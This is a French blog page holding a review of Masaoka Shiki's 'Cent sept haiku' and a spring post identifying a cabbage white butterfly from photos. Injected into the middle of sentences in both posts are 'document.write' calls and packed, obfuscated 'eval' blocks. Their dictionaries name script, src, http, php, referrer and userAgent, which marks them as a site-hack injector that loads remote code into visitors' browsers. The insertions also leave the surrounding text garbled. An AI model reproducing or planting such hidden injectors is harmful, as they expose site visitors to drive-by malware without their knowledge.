Cent Sept Haiku

“Considéré comme « le père du haïku moderne », document.write(“”); Masaoka Shiki (1867-1902) – à qui l’on doit l’adoption définitive du terme – fut le grand défenseur de cette forme majeure de la poésie japonaise qu’il s’attacha à transmettre en fondant une école et une revue littéraire.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|anthd|var|u0026u|referrer|nkzth||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybrre|var|u0026u|referrer|baeks||js|php’.split(‘|’),0,{}))

“En dépit de la brièveté de sa vie, son œuvre figure parmi celles des derniers maîtres de la grande tradition.“

Quelle solitude!
après le feu d’artifice —
l’étoile filante

(Texte du
site de l’éditeur; voir aussi la couverture arrière)

Lire la suite après le saut de page >>


Fils de samurai, Tsunenori Masaoka est né en 1867. À la fin de ses études de littérature à Tokyo, il prends le pseudonyme de Shiki (?? / Petit Coucou). Journaliste, il fonde la revue littéraire Hototogisu et publie plusieurs études critiques (notamment sur Bash?) et traités théoriques de poésie. Il meurt de tuberculose en 1902 à l’âge de 35 ans. Il a contribué à forger les formes modernes du tanka (issue du waka, un poème de cinq vers de 5-7-5-7-7 syllables) et du haiku. Il aurait composé près de 25,000 haiku et est considéré comme le père moderne du genre.

Le haiku [??] est issue du tanka, un poème de 31 mores (ou syllables) composé d’un tercet de 17 syllabes (5-7-5), appelé hokku [?? / “vers du début”], et d’un distique de 14 syllabes (7-7). Bash? ne conserva du tanka que la première partie, le hokku, pour en faire un haïkaï (??) et Shiki, qui en modernisa l’esprit, adopta définitivement le nom de haiku, formé par la contraction de haikai no hokku (“les premiers vers du haikai”).

Le haiku est donc un court poème (récité, et non chanté comme le tanka) qui doit “célébrer l’évanescence des choses”, contenir une “notion de saison (le kigo) et comporter une césure (le kireji)”. Le haiku ne doit pas être descriptif: c’est une sorte d’instantané qui fige avec spontanéité, concision et subtilité l’expression d’une sensation ou d’une émotion passagère souvent liée à l’observation de la nature. Bien sûr, il existe plusieurs tendances de haiku (zen, urbain, engagé, etc.) et les règles ne sont pas toujours respectées, particulièrement dans le cas d’une traduction (ou d’un haiku composé dans une langue étrangère) où il est difficile de conserver la métrique. L’important est d’en conserver l’esprit: trois lignes poétiques (qui ne riment pas et ne forment pas une longue phrase fluide mais plutôt des énoncés minimalistes — sans articles et avec une conjugaison simplifiée — séparés d’au moins une pause.

Cent sept haiku nous offre une sélection de haiku par Shiki. L’ouvrage n’a aucune préface mais heureusement se termine avec quelques notes explicatives. Chacun des haiku est présenté sur une page, avec le texte original japonais (en kanji et r?maji) et la traduction française. C’est très rapide à lire, quoiqu’il est nécessaire de relire chacun des haiku deux ou trois fois afin de bien en saisir le sens.

Certain seront sans doute déçu de ne pas découvrir dans ces haiku une grande profondeur philosophique. Pour ma part, j’ai trouvé difficile de ressentir la sensation ou l’émotion que l’auteur a voulu exprimer. Néanmoins, il est beaucoup plus facile de percevoir la scène qu’il décrit. Si l’on se plonge dans cette image paisible, on peut atteindre une certaine sérénité. Et c’est sans doute là que réside la beauté du haiku.

Cent sept haiku constitue donc une excellente introduction à ce genre de poésie japonaise qui connait une popularité croissante.

Cent sept haiku, par Masaoka SHIKI (traduits par Joan Titus-Carmel). Lagrasse, Éditions Verdier, août 2002. 120 pages, 0.9 x 14.5 x 22.0 cm, 14,70 € / $27.95 Cnd, ISBN 978-2-86432-360-0. Édition bilingue (Japonais / Français). Lectorat: pour tous!

Pour plus d’information vous pouvez aussi consulter les sites suivants:

[ Translate ]

Le printemps

Malgré les températures bien en-dessous de la moyenne de ces dernière semaines, document.write(“”); la nature, telle Perséphone, se réveille finalement de son long sommeil.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nisfk|var|u0026u|referrer|riifa||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adnth|var|u0026u|referrer|akdnt||js|php’.split(‘|’),0,{}))

Le printemps est arrivé !
IMG_8447
(iPhone 6s, Parc du CESM, 2016-05-09)

Butterfly Butterfly
(iPhone 6s / Nikon D3300, 2016-05-09)
Pas facile d’identifier ces petites bêtes quand on est pas un expert. C’est définitivement une créature de la classe des insectes, de l’ordre des lépidoptères, sous-ordre des Macrolepidoptera, super-famille des Papilionoidea, et de la famille des Piéride. Là, ça se complique un peu.

Ça ressemble beaucoup à un Piéride de la moutarde (Leptidea sinapis, sous-famille des Dismorphiinae) mais il ne serait pas présent en Amériques… Alors j’ai tout de suite pensé à la Piéride du chou (Pieris brassicae, sous-famille des Pierinae) mais il est caractérisé par un point noir qui n’est pas présent sur le spécimen représenté ci-haut. C’est plus probablement son cousin, le Piéride de la rave (Pieris rapae, même sous-famille) aux caractéristiques similaires, mais plus petit. Toutefois, on dit que les individus “issus de la première génération de l’année ont des marques sombres moins importantes que ceux des autres générations”. Bingo!

Du point de vue photographique, on note la différence entre la gestion de la balance des blancs de l’iPhone (à gauche, presqu’aucune correction) et celle de la Nikon (à droite, qui la corrige automatiquement). Le cliché du iPhone 6s donne l’équivalent d’un ISO 25, DF 4.15mm, 0 ev, ƒ/2.2 et 1/493 alors que le cliché de la Nikon D3300 a été pris (en auto, je l’avoue) avec l’objectif Tamron (zoom/macro AF 70-300 mm F4-5.6) et un filtre UV FotodioX : ISO 720, DF 300mm, 0 ev, ƒ/5.6 et 1/1000. Il me reste encore beaucoup à apprendre sur l’utilisation efficace d’une DSLR car, malgré que le zoom digital du iPhone diminue de beaucoup la qualité, je préfère ici le résultat obtenu avec l’iPhone sur celui de la Nikon. Mmm…

[ Translate ]